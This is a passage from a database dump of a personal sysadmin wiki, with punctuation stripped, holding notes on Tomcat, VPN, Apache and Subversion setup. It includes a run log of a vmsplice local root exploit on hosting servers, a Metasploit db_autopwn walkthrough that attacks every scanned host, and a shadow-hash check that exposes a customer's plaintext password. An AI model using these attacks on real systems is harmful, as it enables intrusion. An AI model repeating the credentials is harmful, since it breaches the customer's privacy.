#chown -rp hexifi hexifi home hexifi #chown hexifi mail home hexifi etc #chown hexifi mail home hexifi etc hexi fi passwd #chown hexifi mail home hexifi etc hexi fi shadow #chown hexifi nobody home hexixfi public_html i # we generate a full list of account names to run permissions fix on just by doing #cat etc trueuserdomains cut -d -f 2 # # i had to correct some permissions on accounts owned by a specific user so had to make a list of only those # accounts which was done using #ls -la grep hexifi tr -s \' \' cut -d\' \' -f9 account_list_hexif for i in cat junk_list ; do echo i is being processed # first just set everything to user user then fix what we need -p changes ownership on symlink itself not it it\'s taget # which we don\'t care about at this point really chown -rp i i home i chown 1 mail home i etc chown 1 mail home i etc i passwd chown 1 mail home i etc i shadow chown 1 nobody home i public_html # scripts mailperm i done '),(206,'konqueror tips',' add close buttons to tabs kwriteconfig --file konquerorrc --group fmsettings --key permanentclosebutton --type bool true '),(207,'vmsplice kernel exploit',' novas tardis jessica_biel ----------------------------------- linux vmsplice local root exploit by qaaz ----------------------------------- mmap 0x0 0x1000 page 0x0 page 0x20 mmap 0x4000 0x5000 page 0x4000 page 0x4020 mmap 0x1000 0x2000 page 0x1000 mmap 0xb7f07000 0xb7f39000 - vmsplice function not implemented novas tardis id uid 508 novas gid 508 novas groups 508 novas novas tardis rm jessica_biel root tardis # uname -a linux tardis timelordz com 2 6 16-xtr #1 fri mar 23 00 16 10 gmt 2007 i686 i686 i386 gnu linux root web01 su peby peby web01 ls diane_lane diane_lane c jessica_biel jessica_biel c peby web01 id uid 10056 peby gid 10056 peby groups 10 wheel 10056 peby peby web01 jessica_biel ----------------------------------- linux vmsplice local root exploit by qaaz ----------------------------------- - mmap permission denied peby web01 id uid 10056 peby gid 10056 peby groups 10 wheel 10056 peby peby web01 uname -a linux web01 tpa sagonet net 2 6 18-92 1 22 el5 #1 smp tue dec 16 12 03 43 est 2008 i686 i686 i386 gnu linux '),(208,'revision control system',' rcs is a light weight method to control revisions to files here is a tutorial another good guide is at hint symlink rcs directories where the config files you wish to back up are to one primary one at etc rcs - then all the v file are in one place '),(209,'encrypting linux shadow passwords',' this is something i\'ve wondered about and finally decided to google it and find out the how come mr wizard answer it it\'s pretty cool customer i can\'t log in or i can\'t ftp here are my credentials user arabr password mohamed123m tech thinks to themselves - i wonder if that really is the right password sure i can just try it but wouldn\'t it be nice to know for certain if that was even correct i don\'t want to reset it without asking so here you go -bash-3 2# cat etc shadow grep arabr arabr 1 vrsz9bla lbumig 53lpx0i0ifsvoi0 14398 0 99999 7 you can divide the string in four parts 1 vrsz9bla lbumig 53lpx0i0ifsvoi0 1 1 is a special string meaning that the md5 algorithm is used 2 vrsz9bla is the desired salt 3 works like a space a separation char 4 lbumig 53lpx0i0ifsvoi0 is the hash of the password salt so knowing the salt the supposed password and the encryption algorithm you can just use openssl and recreate the hashed valued that is stored in the shadow file for example -bash-3 2# openssl passwd -1 -salt vrsz9bla mohamed123m 1 vrsz9bla lbumig 53lpx0i0ifsvoi0 or -bash-3 2# perl -e \'print crypt mohamed123m 1 vrsz9bla n \' which matches the entry in etc shadow thus mohamed123m is the correct password and should be valid for ssh and ftp login i got the above from '),(210,'syslog server installation',' good general info site on syslog '),(211,'debian broadcom nic drivers',' the clever debian devs are trimming all non-free binary blobs from the new stable kernel tree which means that the nics in our 1950s are no longer supported by default and you have to add the driver manually both during the install and then install the deb package post install which by the way then makes the installer think that dev sdb is the os drive as the usb key takes sda - another neat feature does not matter if you do the install from cd or network - it is removed from the distro to make it so we do not have this problem with the dells or other new hardware we get that used the broadcom bnx2 module i have created a custom initrd for the cobbler debian lenny installer just install as normal with cobbler and you should never even see this issue if for some reason you run into it or cobbler breaks and you need to install lenny from cd you may get the nic package from just stick the deb package on a usb key and stick it in - no need to mount it the installer will find it and extract what it needs after installing you may need to then actually install the package with dpkg this will create a new initd with the driver in it more info is here additional notes get the propriety drivers from here then build a new initrd that contains them oh goodie - now they updated the initrd for the latest lenny build which means the old one hangs when trying to find the repos so you need to set cobbler up with the new initrd from and then recompile for the nic drivers as above again better to use above link rather than the netinstall cd iso the initrd of which defaults to expecting a cdrom nice use the above link instead '),(212,'testing mssql connections odbcping exe',' testing ms sql connectivity testing a connection to a remote ms sql server can be a little bit of a pain especially when you are used to the simplicity of doing so with mysql here are a few tools to help you  three ways to test ms sql connectivity    via php script linux   if your php is compiled with ms sql support you can connect via a simple php script se the mssql_connect php function at php net you can verify if ms sql support is compiled in by using an phpinfo php file for a sample php script to connect to ms sql see here  ms sql studio windows   you can install ms sql server management studio on any windows machine it is free and can be obtained here it is a bit overkill for just testing connectivity but is an option  with odbcping exe windows   another way is to use obdcping exe on a windows box which will just make a connection to the server note that this only supports connecting to the default ms sql port 1433 of course this utility is not installed by default in windows - but you can obtain if from a windows cd such as from here usage at a command prompt type with your own user password odbcping -s myserver -u myuser -p mypassword if that works then test the dsn with odbcping -d mydsn -u myuser -p mypassword here is a bit of discussion on using this tool xampp ms sql bug xampp ms sql bug xampp ms sql bug try in vain you will never connect to an ms sql database using xampp on a windows server without first addressing a known bug see this article at the xampp site describing this also see this blog which explains the exact issue and download the needed dll from '),(213,'tomcat installation',' tomcat is not your mama mama\'s apache tomcat is a very different beast to install compared to the simplicity of apache installing it under centos 5 is quite a bit simpler than it was in centos 4 x here are some notes and links to useful sites to help you install and test tomcat and install an application for some notes on installing with suse see here sites and guides sites and guides sites and guides i found this to be quite helpful it is a pretty complete how to on installing tomcat 5 here is another how to guide for installing and configuring different tomcat versions and the official pages additional info java install java install java install for installing java see the following site - read the instructions very carefully and follow them  exactly  and you can install and configure pretty much any version of jdk you need from source rpms and from the sun java archive site note if you have centos 5 3 you can use the openjdk binaries from the centos base repo and you don\'t have to build anything unless you need another older version etc build results build results build results checking for unpackaged file s usr lib rpm check-files home novas rpmbuild tmp java-1 6 0-sun-1 6 0 11-1jpp-buildroot wrote home novas rpmbuild rpms i586 java-1 6 0-sun-1 6 0 11-1jpp i586 rpm wrote home novas rpmbuild rpms i586 java-1 6 0-sun-devel-1 6 0 11-1jpp i586 rpm wrote home novas rpmbuild rpms i586 java-1 6 0-sun-src-1 6 0 11-1jpp i586 rpm wrote home novas rpmbuild rpms i586 java-1 6 0-sun-demo-1 6 0 11-1jpp i586 rpm wrote home novas rpmbuild rpms i586 java-1 6 0-sun-plugin-1 6 0 11-1jpp i586 rpm wrote home novas rpmbuild rpms i586 java-1 6 0-sun-fonts-1 6 0 11-1jpp i586 rpm wrote home novas rpmbuild rpms i586 java-1 6 0-sun-alsa-1 6 0 11-1jpp i586 rpm wrote home novas rpmbuild rpms i586 java-1 6 0-sun-jdbc-1 6 0 11-1jpp i586 rpm executing clean bin sh -e home novas rpmbuild tmp rpm-tmp 43646 umask 022 cd home novas rpmbuild build selecting which java version to use selecting which java version to use selecting which java version to use you can easily install multiple versions of java using the above changing from one environment to another is as simple as root tardis # java -version java version 1 4 2_09 java tm 2 runtime environment standard edition build 1 4 2_09-b05 java hotspot tm client vm build 1 4 2_09-b05 mixed mode root tardis # alternatives --config java there are 2 programs which provide \'java\' selection command ----------------------------------------------- 1 usr lib jvm jre-1 4 2-sun bin java 2 usr lib jvm jre-1 6 0-sun bin java enter to keep the current selection or type selection number 2 root tardis # java -version java version 1 6 0_11 java tm se runtime environment build 1 6 0_11-b03 java hotspot tm client vm build 11 0-b16 mixed mode sharing root tardis # wed admin wed admin wed admin as of tomcat6 the admin panel is not longer available if you have the default tomcat pages you can also just go to and the default screen will link to both the above though you should be able to access them directly too if you are missing the default tomcat welcome screen it may just be that the content for it is missing root tardis # ls var lib tomcat55 webapps root release-notes txt web-inf admin asf-logo-wide gif favicon ico index jsp tomcat-power gif tomcat gif i resolved this once by just copying over the root directory and chown -r root tomcat and this restored the welcome page the admin and manager pages allow you to control users databases see the installed apps and deploy a new app deploy an application deploy an application deploy an application openlaszlo org you need jdk installed too root tardis tomcat-5 0 24 # rpm -uvh home sites 28 site1 web jdk-6u11-linux-i586 rpm root tardis lps-4 3 0 # echo java_home usr java jdk1 6 0_11 startup opt lps-4 3 0 server tomcat-5 0 24 bin startup sh troubleshooting war applications troubleshooting war applications troubleshooting war applications an error such as this an be difficult to trouble shoot in my case it turns out the war i was attempting to deploy was compiled against a later version of java upgrading from 1 4 to 1 6 releases completely resolved this issue i simply built a new 1 6 jdk from source rpms as above and installed parallel to the existing 1 4 jun 8 2009 11 52 07 am org apache catalina core standardcontext start severe error listenerstart jun 8 2009 11 52 07 am org apache catalina core standardcontext start severe context sysaid startup failed due to previous errors debugging this further can be difficult as there is nothing further to really go on see these sites for some tips on debugging through eclipse just found how strangely tomcat 5 5 9 running on jdk 1 4 x reacts to the fact that a web application was compiled with jdk 5 0 instead of showing some meaningful error the record in catalina out looks like this centos 4 x centos 4 x centos 4 x you will need to install tomcat from the jpackage repository - you will not find it in the normal repos nor rpmforge etc you will also need to install several packages to meet dependencies as well as build you java-devel package etc it is not particularly easy  building java packages   i found this site to be most helpful however you might be using different java versions you you need you can download the specific ones you need from the sun java archive pages place the jta classes in usr src redhat sources jta-1_0_1b-classes zip proceed with building packages 876 mv j2sdk-1_4_2-linux-i586 bin usr src redhat sources 894 ls usr src redhat sources 895 rpmbuild --rebuild usr local src java-1 4 2-sun-1 4 2 09-1jpp nosrc rpm 897 rpm -uvh usr src redhat rpms i586 java-1 4 2-sun-devel-1 4 2 09-1jpp i586 rpm 898 rpm -uvh usr src redhat rpms i586 java-1 4 2-sun-1 4 2 09-1jpp i586 rpm 899 yum install xorg-x11-deprecated-libs 905 rpmbuild --rebuild --without javadoc usr local src jta-1 0 1-0 b 4jpp nosrc rpm 906 rpm -ivh usr src redhat rpms noarch jta-1 0 1-0 b 4jpp noarch rpm 910 wget 911 rpm -uvh eclipse-ecj-3 2 0-1jpp_2rh i386 rpm 912 yum install tomcat55  additional info   might also need to export java_home usr lib jvm java if you get this error starting tomcat5 usr bin rebuild-jar-repository error could not find xml-commons-apis java extension for this jvm you can simply yum install xml-commons-apis same with this one starting tomcat55 usr bin rebuild-jar-repository error could not find jakarta-taglibs-core java extension for this jvm usr bin rebuild-jar-repository error could not find jakarta-taglibs-standard java extension for this jvm usr bin rebuild-jar-repository error some detected jars were not found for this jvm you can just yum install yum install jakarta-taglibs-core jakarta-taglibs-standard '),(214,'process accounting',' how long did a user run a process  activating accouting  enable process accounting with callandor # accton var log pacct file must exist disable with callandor # accton  sample uses   callandor # lastcomm -f var log pacct --strict-match --command kate --user paracelsus kate paracels 7 62 secs wed jun 17 22 35 kate paracels 1 34 secs tue jun 16 22 35 kate paracels 0 54 secs tue jun 16 22 37 kate paracels 1 39 secs tue jun 16 18 37 callandor # ac -p -d root 16 45 paracelsus 4 50 jun 12 total 20 95 paracelsus 53 27 jun 13 total 53 27 paracelsus 51 12 jun 14 total 51 12 root 0 10 paracelsus 240 00 jun 16 total 240 10 paracelsus 114 59 today total 114 59 callandor # sa --percentages var log pacct less callandor # sa -m var log pacct 6508 1335287076 32re 116 53cp 0avio 852k paracelsus 206 1331384387 90re 115 29cp 0avio 7780k root 5919 3899686 35re 1 09cp 0avio 621k nobody 3 111 43re 0 09cp 0avio 735k man 377 2683 22re 0 07cp 0avio 680k postfix 3 207 42re 0 00cp 0avio 1582k extended linux service accounting elsa extended linux service accounting elsa extended linux service accounting elsa you can download and install from source the elsa package which primarily consists of a deamon jobd and the elsa script which allow you to create jobs consisting of groups of assigned processes then parse the jobs file and query it with else here is a sample session of starting the jobd daemon turning on accounting adding a few processes to two jobs exporting the job manager data to a file and inspecting it with else as root jobd ps aux grep jobd accton var log pacct jobmng -a -e date jobmng -a -p 17067 -j 1 jobmng -d jobresults tmp elsa -x -a var log pacct -j jobresults tmp ahz configuration ahz configuration ahz configuration from the sa man page --ahz hz use this flag to tell the program what ahz should be in hertz this option is useful if you are trying to view an acct file created on another machine which has the same byte order and file format as your current machine but has a different value for ahz other accounting tools other accounting tools other accounting tools good luck getting wx perl set up to run that one have not investigated this one yet '),(215,'cool places to work',' the evans group orlando fl workplace consists of a village with private cottages for offices patagonia ventura ca extreme flex time for surfing climbing etc wonderworks uber creative work environment for web development company google firepole solitude pods slide to the cafe '),(216,'hosts deny configuration',' here is a good article on securing ssh including configuring the hosts deny and hosts allow files '),(217,'toorcamp 2009 trip',' hi guys here is a list of stuff to bring and things to consider for our immanent trip to toorcamp 2009 there are three lists personal stuff to bring group stuff and food the group stuff will either be provided by my bro already or we can get at wal mart etc while we are primitive camping it is nonetheless good to give some thoughts to the considerations section considerations considerations considerations town is 45 minutes away one-way that that\'s a round trip of 1 30 plus time to get do things in town which means unless we want to spend 3 hours a day going to and from town we should make sure we take what we need i\'m not opposed to going to town once or twice but i don\'t want to go daily if avoidable food - see the list below if we don\'t bring it we don\'t eat it personal stuff personal stuff personal stuff this is the easy one really clothes - specifically robust shoes for the environment maybe also shower shoes sandals charging cords for notebooks cell phones and bluetooth blue tooth and wifi devices for hacking fun spare removable media usb sticks sd cards to collects fun stuff with sun screen a hat flashlight led light book magazine average low temp at night is 55 - 61 f so a sweat shirt etc at night is not a bad idea shower stuff target has small travel sized items perfect notebooks usb serial adapters extra wifi card lan cables glow sticks obviously group stuff group stuff group stuff tent foam air matters for each person trust me sleeping bags condiments salt pepper catchup mustard all easily obtained in nifty single server packets from fast food places gas station paper towels shower towels paper plates plastic ware gas station acquisition cooking stove single burner cooking kit self contained has a few pots and a fry pan etc plastic tub to clean up cookware in dish soap cotton towels to dry clean stuff with an sos pad just 1 lantern & mantles sucks when it gets dark fuel for stove lantern plastic glasses coffee pot oh yea babby mos def coffee sugar cooler & ice water 2 1 2 gal per person for the 4 days matches small first aid kit bug repellent plastic garbage bags food food food we will have 3 breakfasts 3 dinners 3 or 4 lunches to contend with that that\'s 27 to 30 meals for the 3 of us i would not plan on there being any food available on site to sell there will be food on site here is the menu thus definitely think about what you want to eat what will we cook for dinner etc sure- a trip to town for a dinner is okay but is this what we want every night again by the time you go and return from town it will be a 3 hour trip add your favorites  breakfast  orange juice boxes pop tarts coffee instant if nothing else  lunch  pbj lunch meat salami hold well cheese sticks soda chips  dinner  freeze dried entrees are not bad chili burgers dogs cocoa 55 f is colder than you think '),(218,'testing mod rewrite',' here is a simple script you can use to test if mod_rewrite is working correctly on a server this script comes from a tutorial i found here configuring apache configuring apache configuring apache apache needs to have mod_rewrite compiled in or it needs to load the module if not to see if it is compiled in you can check usr local apache bin httpd -m and look for rewrite_module static if not compiled in you need to load the module configure this in httpd conf by adding or uncommenting the following # in the loadmodules section loadmodule rewrite_module modules mod_rewrite so obviously check to ensure mod_rewite so exists and is in the correct place if it is compiled in and you try to load it anyway you will see this message displayed starting apache root server # etc init d httpd restart httpd syntax error on line 41 of usr local apache conf httpd conf module rewrite_module is built-in and can\'t be loaded the test script the test script the test script now create a file named rewrite php which contains the following ensure the file is owned by the user or the user apache runs as and has permissions set correctly php mod_rewrite test page copyright 2006 webune com if _get \'link\' 1 echo you are not using mod_rewrite ; elseif _get \'link\' 2 echo congratulations you are using apache mod_rewrite ; else echo linux apache mod_rewrte test tutorial ; how to test mod_rewrite in apache linux server by webune link1 rewrite php link 1 link2 link2 html how this works both links are for this same page except they both are different link one is without the mod_rewrite and link2 is using mod_rewrite link1 show the php file with with mod_rewrite we are mascarading the php file into a html file you can use whatever type of extension you want you can change it to htm or shtml etc all you have to do is to make sure you also chang it in the htaccess file &lt;&lt; go back to webune forums now just create an htaccess file in the web directory where the above file is containing rewriteengine on rewriterule link html rewrite php link 1 l you can now visit and test to see whether mod_rewrite is working didn\'t work see the next section rewrite not allowed in htaccess rewrite not allowed in htaccess rewrite not allowed in htaccess note depending on how apache is configured you may not be able to put rewrite rules in an htaccess file if this is the case they can be placed instead in the vhost file for the domain check the error_log to see if this is the problem root tardis # cat var log httpd error_log grep htaccess sat jun 13 15 26 05 2009 alert client 174 37 205 67 home mycoolsite web htaccess options not allowed here additional troubleshooting additional troubleshooting additional troubleshooting check the apache access_log and error_log for any errors and have another look in you httpd conf htaccess and vhost settings to ensure everything is correct '),(219,'web email form tools',' using a mailto function in html for a mail form is very bad form php is the better way to go as you can do full input validation etc you can of course just use an html based email form with a mailto tag but that is absolutely not a good idea as it will be harvested and used as a target for spammers - you are essentially saying please oh please spam me if you go that route here are some suggestions you might use a pre-made html based email form function like one from which includes captcha filtering you have to register on the site but the code generator is free to use and will create the form for you and it does not require php on your server another one you can use is this is also free and you can choose asp php or perl it will make a private cgi bin script and call it with perl - so it will hide the email mail to address in the cgi script and not have it on the web page for the world to see it does not however appear to have captcha capabilities but does have a validation function '),(220,'metasploit framework',' the metasploit 3 framework has some pretty serious features allowing you to easily launch attacks against a target host by customising an exploit and payload to deliver it is a very powerful security analysis hacking tool and there are many guides available for it one particular feature db_autopwn is rather interesting it allows you to create and use a database of hosts using a mysql or postgres back end you can populate with a host port list directly by running nmap within metasploit or import a nessus report in order for db_autopwn to work you will need a variety of ruby and other support packages installed a list of such for ubuntu is here you have to then create the database that will be used i like mysql and found the following guide helpful you can create the database in msfconsole if you like msf db_create root password localhost pentest database creation complete check for errors i also found these sites helpful once all the dependencies are installed you can activate it from within the msfconsole run an nmap scan and launch attacks against all hosts found or a range of select one for example msf load db_mysql successfully loaded plugin db_mysql if any error output verify you have all needed ruby dependencies etc msf msf db_connect user mysql_passwd localhost 3306 database msf no output if a connection is made msf db_nmap -a 192 168 2 0 24 output generated for each host located to show the matched exploits against the hosts found msf db_autopwn -p -t analysis completed in 32 5395309925079 seconds 0 vulns 0 refs matched auxiliary dos windows smb ms05_047_pnp against 192 168 2 2 445 matched exploit netware smb lsass_cifs against 192 168 2 2 445 matched exploit windows http savant_31_overflow against 192 168 2 1 80 matched exploit unix webapp barracuda_img_exec against 192 168 2 1 80 matched exploit windows ftp freeftpd_key_exchange against 192 168 2 3 22 matched exploit windows http navicopa_get_overflow against 192 168 2 1 80 matched auxiliary scanner http wmap_prev_dir_same_name_file against 192 168 2 1 80 to show a list of all hosts in the database msf db_hosts time wed jul 22 19 07 13 -0400 2009 host 192 168 2 1 status alive os time wed jul 22 19 07 13 -0400 2009 host 192 168 2 2 status alive os time wed jul 22 19 07 13 -0400 2009 host 192 168 2 3 status alive os time wed jul 22 19 07 13 -0400 2009 host 192 168 2 10 status alive os by itself this will show command summary msf db_autopwn to launch to exploits against all hosts msf db_autopwn -e you might want to be a bit more selective than that to select a range of one or more simple use -i with cidr subnet notation msf db_autopwn -p -t -i 192 168 2 2 31 analysis completed in 23 4635920524597 seconds 0 vulns 0 refs matched auxiliary dos windows smb ms06_063_trans against 192 168 2 2 445 matched exploit windows smb ms06_025_rasmans_reg against 192 168 2 2 445 matched exploit windows misc tiny_identd_overflow against 192 168 2 3 113 matched auxiliary admin db2 db2rcmd against 192 168 2 2 445 if any exploit succeeds in opening a shell etc it will be available in a session within metasploit you can find any sessions opened with msf sessions -lv and then connect to a session with sessions -i id and disconnect using ctrl-z and ctrl-c to kill one '),(221,'cisco vpn configuration',' note for newer kernels 2 6 30 - 32 you need to patch the cisco vpnclient source as well as change a line in the kernel source for netdevice h removing a const declaration for the variable net_device_ops if you fail to do so you will get a compile error when building the ipsec ko module stating making module make -c lib modules 2 6 31-1-generic build subdirs home test downloads vpnclient modules make 1 entering directory usr src linux-headers-2 6 31-1-generic\' cc m home test downloads vpnclient interceptor o home test downloads vpnclient interceptor c in function u8e28098interceptor_initu8e28099 home test downloads vpnclient interceptor c 132 error u8e28098struct net_deviceu8e28099 has no member named u8e28098hard_start_xmitu8e28099 home test downloads vpnclient interceptor c 133 error u8e28098struct net_deviceu8e28099 has no member named u8e28098get_statsu8e28099 this wonderful blog post itself taken from this most helpful thread at forum tuxx-home at gives the solution which calls for a bit of patching cd vpnclient wget vim vpnclient-linux-2 6 31-final diff patch vpnclient-linux-2 6 31-final diff sudo sed -i \'s const struct net_device_ops netdev_ops; struct net_device_ops netdev_ops; \' find usr src -name netdevice h vpn_install etc init d vpnclient_init start you should then be able to configure and use the vpnclient as detailed below  cisco vpn client install  ensure you have your vpn access enabled contact dan p you can get the vpn client and sago pcf config file for windows and linux from  linux version  do not use the 5 x version for linux use only the above build of the 4 8 client previously this required manually patching it to get it to work correctly however this later version includes all the patches and works fine unpack and run the vpn_install script which by default will install to etc opt cisco-vpnclient place the sago vpn profile in etc opt cisco-vpnclient profiles tpavpn pcf you might want to rename it or make a symlink to it so it is easy to remember sago pcf - tpavpn pcf to connect use the below sytax without the pcf extension needed for the profile name callandor # vpnclient connect sago to disconnect callandor # vpnclient disconnect full expected output if successful callandor # vpnclient connect sago cisco systems vpn client version 4 8 02 0030 copyright c 1998-2007 cisco systems inc all rights reserved client type s linux running on linux 2 6 27 21-0 1-default #1 smp 2009-03-31 14 50 44 0200 i686 config file directory etc opt cisco-vpnclient initializing the vpn connection contacting the gateway at 66 118 128 10 user authentication for sago the server has requested the following information to complete the user authentication username user password authenticating user negotiating security policies securing communication channel your vpn connection is secure vpn tunnel information client address 192 168 200 118 server address 66 118 128 10 encryption 168-bit 3-des authentication hmac-sha ip compression none nat passthrough is active on port udp 4500 local lan access is disabled troubleshooting troubleshooting troubleshooting config directory is etc opt cisco-vpnclient getting this error message could not attach to driver is kernel module loaded the application was unable to communicate with the vpn sub-system if you have upgraded the kernel copy over the kernel module to you new lib directory such as callandor # cp -rpa lib modules 2 6 27 21-0 1-default ciscovpn lib modules 2 6 27 25-0 1-default callandor # ls lib modules 2 6 27 25-0 1-default ciscovpn cisco_ipsec ko callandor # etc init d vpnclient_init start starting opt cisco-vpnclient bin vpnclient done '),(222,'database configuration',' so you don\'t have to always figure out where the config files are for common apps  bamboo  bamboo_system_files application config database php  gallery  www gallery2timelord config php set the base dir of shared directory and urls here as well you also must ensure paths are correct in home timelord public_html gallery2timelord embed php home timelord public_html gallery2timelord upgrade index php  mysqli support  note gallery requires apache and php to be compiled with --mysqli or you will recieve errors such as mysqli error 0 missing extension for native in connect localhost user_gallerydb  debugging  here is a good general faq this link contains tools for editing permissions and deleting the cache to re-run the installer  permissions   find -type d -exec chmod 777 ; find -type f -exec chmod 744 ;  logging  is enabled in gallery2timelord config php set to immediately for debug info to be dumped to screen immediately  blog  public_html blog wp-config php  wiki  public_html wiki adminsettings php public_html wiki localsettings php  torrentflux  html inc config config db php '),(223,'regex regular expressions',' bash bash bash  egrep  egrep supports extended regex for example use a pipe for either or searches #grep \'user root\' etc passwd you can pattern match any number of occurences of strings using brackets callandor # egrep \' a-z audio\' etc passwd pulse x 109 109 pulseaudio daemon var lib pulseaudio sbin nologin using parenthesis for matching one or more occurences callandor # egrep \'gam es ing \' etc passwd  fgrep  fgrep reads all regular expression metacharacters literally use it to search for special characters like etc in a file example fgrep \' \' etc apache2 httpd conf  finding files   find -name blah -ok rm ; '),(224,'linux scsi device tools',' sg3_utils sg - scsi generic using sg3_utils you are able to send identify scsi devices send commands to them and view their internal logs etc this page describes s3g functionality as the sg3_utils package is a collection of programs that use the sg interface the utilities can be categorized as follows variants of the unix dd command sg_dd sgp_dd sgq_dd and sgm_dd scanning and mapping utilities sg_scan sg_map and scsi_devfs_scan scsi support sg_inq scsi_inquiry sginfo sg_readcap sg_start and sg_reset timing and testing sg_rbuf sg_test_rwbuf sg_read sg_turs and sg_debug packages for s3g_utils are in the repos of most common distros the suse package description is summary a collection of tools that send scsi commands to devices description the sg3_utils package contains utilities that send scsi commands to devices as well as devices on transports traditionally associated with scsi e g fibre channel fcp serial attached scsi sas and the scsi parallel interface spi many other devices use scsi command sets atapi cd dvd drives and sata disks that connect via a translation layer or a bridge device are examples of devices that use scsi command sets testing devices with sg3_util tools testing devices with sg3_util tools testing devices with sg3_util tools callandor # sginfo -l dev scd0 dev sr0 dev sdb dev sda dev sg0 dev sda scsi1 ch 0 id 0 lun 0 dev sg1 dev sdb scsi4 ch 0 id 0 lun 0 dev sg2 dev scd0 scsi5 ch 0 id 0 lun 0 note in the below sg_ commands the scsi device name sg0 is used if the device is sata callandor # sg_read if dev sg0 bs 512 count 1mb mmap 1 time 2 time from second scsi read command to end was 6 602626 secs 77 53 mb sec average number of scsi read commands per second was 1183 32 1000000 0 records in scsi read commands issued 7813 scsi logging level scsi logging level scsi logging level logging can be enabled dynamically for a number of scsi logs outputting to the kernel log file callandor # scsi_logging_level -g --help for info current scsi logging level proc sys dev scsi logging_level 0 scsi_log_error 0 scsi_log_timeout 0 scsi_log_scan 0 scsi_log_mlqueue 0 scsi_log_mlcomplete 0 scsi_log_llqueue 0 scsi_log_llcomplete 0 scsi_log_hlqueue 0 scsi_log_hlcomplete 0 scsi_log_ioctl 0 you can also define scsi logging as a kernel boot argument see here '),(225,'sun studio and compiler',' various notes and tricks on using sun studio and the sun c compiler to turn on verbose output with cc use -# to do the same with cc use -v if you are getting an error such as cc acomp failed for blah c verbosity may help see how acomp is being called acomp error are sometimes caused when you are trying to compile c or c with the incorrect compiler cc or cc verify your path is to the correct one or set it directly in your makefile etc here is a page covering translating gcc vs sun compiler options from the sun forums sfv suggested when compiling for the intel atom sun compilers do not have a special -xarch -xchip setting for atom you might want to start with plain -xo4 -xarch sse2 or -fast -xarch sse2 combo icc notes icc notes icc notes these notes are actually for the intel c compiler - icc intel paper on compiling the kernel also has a link in it to another paper on gcc compatibility with icc wrapper script used to compile linux kernel with icc misc '),(226,'solaris zones',' can\'t wait to try this out '),(227,'cpanel configuration',' logwatch you can enable logwatch and set mailto root in logwatch conf then set up a forward for root next default cpanel configs are at usr share logwatch default conf logwatch conf and local configs are in etc logwatch conf logwatch conf to set up a forward for root you can do so in main server contacts change system mail preferences type of alerts to send can also be configured in main server contacts contact manager backups backups backups if you need to exclude files or directories from a domain create an exclude list in home user cpbackup-exclude conf following the directions here if you see permission errors in the cpbackup log it may be the files are not owned by user user but may be user nobody etc see here for more information to use ftp backups to another server and then be able to access a symlink inside the ftp folder on the remote server - you might need to mount the directory rather than use a symlink most ftp servers will not allow reading through symlinks in a chrooted ftp user directory for example you might mount a directory outside the ftp directory like mount dev mapper fileserver-backups home backupuser backups would let you access an lvm logical volume and mount it inside the ftp user user\'s directory  backup logs  usr local cpanel logs error_log and usr local cpanel logs cpbackup 1250858596 log are places to look for errors server load management server load management server load management if the load goes very high backups and logfile processing will be suspended to adjust edit this value in tweak settings under stats and logs the load average above the number of cpus at which logs file processing should be suspended default 0 or you can manually edit var cpanel cpanel config extracpus 0 and change it to a higher value this number should represent the number of cpu cores including ht processors on the system it become the load factor at which operations are suspended so setting it to 2 would allow backups to run until the server load reached 2 etc '),(228,'linux filesystem tools',' general ext3 faq general ext3 faq general ext3 faq a good detailed faq including detailed info can be found here ext3 journaling options and write latency ext3 journaling options and write latency ext3 journaling options and write latency ext3 allows you to choose from one of three data journaling modes at filesystem mount time data writeback data ordered and data journal to specify a journal mode you can add the appropriate string data journal for example to the options section of your etc fstab or specify the -o data journal command-line option when calling mount directly as we covered earlier in this article if you\'d like to specify the data journaling method used for your root filesystem data ordered is the default you can to use a special kernel boot option called rootflags so if you\'d like to put your root filesystem into full data journaling mode add rootflags data journal to your kernel boot options the above as well as additional information on ext3 and the journaling methods can be found here it also contains some very interesting performance tests indicating that data journal may be significantly faster in some applications journal details journal details journal details here is an article on tuning ext3 and changing the journal size to see what journaling is currently in effect callandor # dmesg grep -b 2 journal to remove or recreate the journal on ext3 see remove and create ext3 journal ext4 filesystem ext4 filesystem ext4 filesystem converting from an ext3 to and ext4 filesystem can do accomplished following the steps given here '),(229,'suse apache and php configuration',' configuring apache and php on suse linux there are some slight differences on configuring php and apache on suse firstly of course you need to have installed the proper packages at a minimum callandor etc # rpm -qa grep php php5-5 2 9-0 1 1 apache2-mod_php5-5 2 9-0 1 1 php5-mysql-5 2 9-0 1 1 callandor etc # rpm -qa grep apache apache2-2 2 10-2 5 apache2-utils-2 2 10-2 5 apache2-mod_php5-5 2 9-0 1 1 apache2-prefork-2 2 10-2 5 in suse the apache modules to load are specified differently than in some other distros; callandor etc apache2 # cat etc sysconfig apache2 grep apache_modules apache_modules actions alias auth_basic authn_file authz_host authz_groupfile authz_default authz_user authn_dbm autoindex cgi dir env expires include log_config mime negotiation setenvif ssl suexec userdir php5 restart apache and verify the php module is loaded callandor etc apache2 # apache2ctl -m php5_module shared also the user and group apache runs as normally set in httpd conf are in a seprate file as well callandor etc apache2 # cat uid conf user wwwrun group www reference sites reference sites reference sites some good sites on suse configurations and for apache and php in general '),(230,'eclipse ide platform',' eclipse ide eclipse ide eclipse ide there are several dzone guide to eclipse summarized at  adding subversive    or use subclipse instead  getting php run as functioning getting php run as functioning getting php run as functioning good general eclipse config guide to add the zend debugger great php tutorial here too then add to you php ini ; zend debugger madness zend_extension var lib php5 zenddebugger so zend_debugger allow_hosts 127 0 0 1 zend_debugger expose_remotely always zend_debugger connector_port 10013 ; zend debugger madness end  xdebug  another debugging tool to check out is xdebug alternative alternative alternative you can get phped form nusphere which is another php ide tool '),(231,'subversion',' general info here is the free version of the o\'riley book on subverison here is a good summarized cheat sheet  here are some setup guides   install notes install notes install notes in this example kdrepos is a normal directory owned by the web user while directories below it are actual repos created with the svnadmin create command dav svn svnparentpath srv svn kdrepos if you have svnpath rather than svnparentpath in etc apache2 conf d subversion conf you might see paracelsus callandor svn co ardtest svn could not open the requested svn filesystem and in the web browser the error will be something about no repo found and no xml to display etc also a hint from the suse set up guide # allow the \'kdrepos index page to list all the repositories it contains svnlistparentpath on note ownership on the directories may need to be set with chown -r wwwrun www srv svn repos arduino dav db locks authentication authentication authentication configuring multiple auth sources see here moving repos moving repos moving repos to import a repo from another server origin server root wiki svn esnet com # cd repo root wiki repo # ls cfengine cobbler sandbox scripts websites root wiki repo # svnadmin dump scripts scripts_svn dump dumped revision 0 dumped revision 1 dumped revision 2 root wiki repo # scp -p 1972 scripts_svn dump root iodine 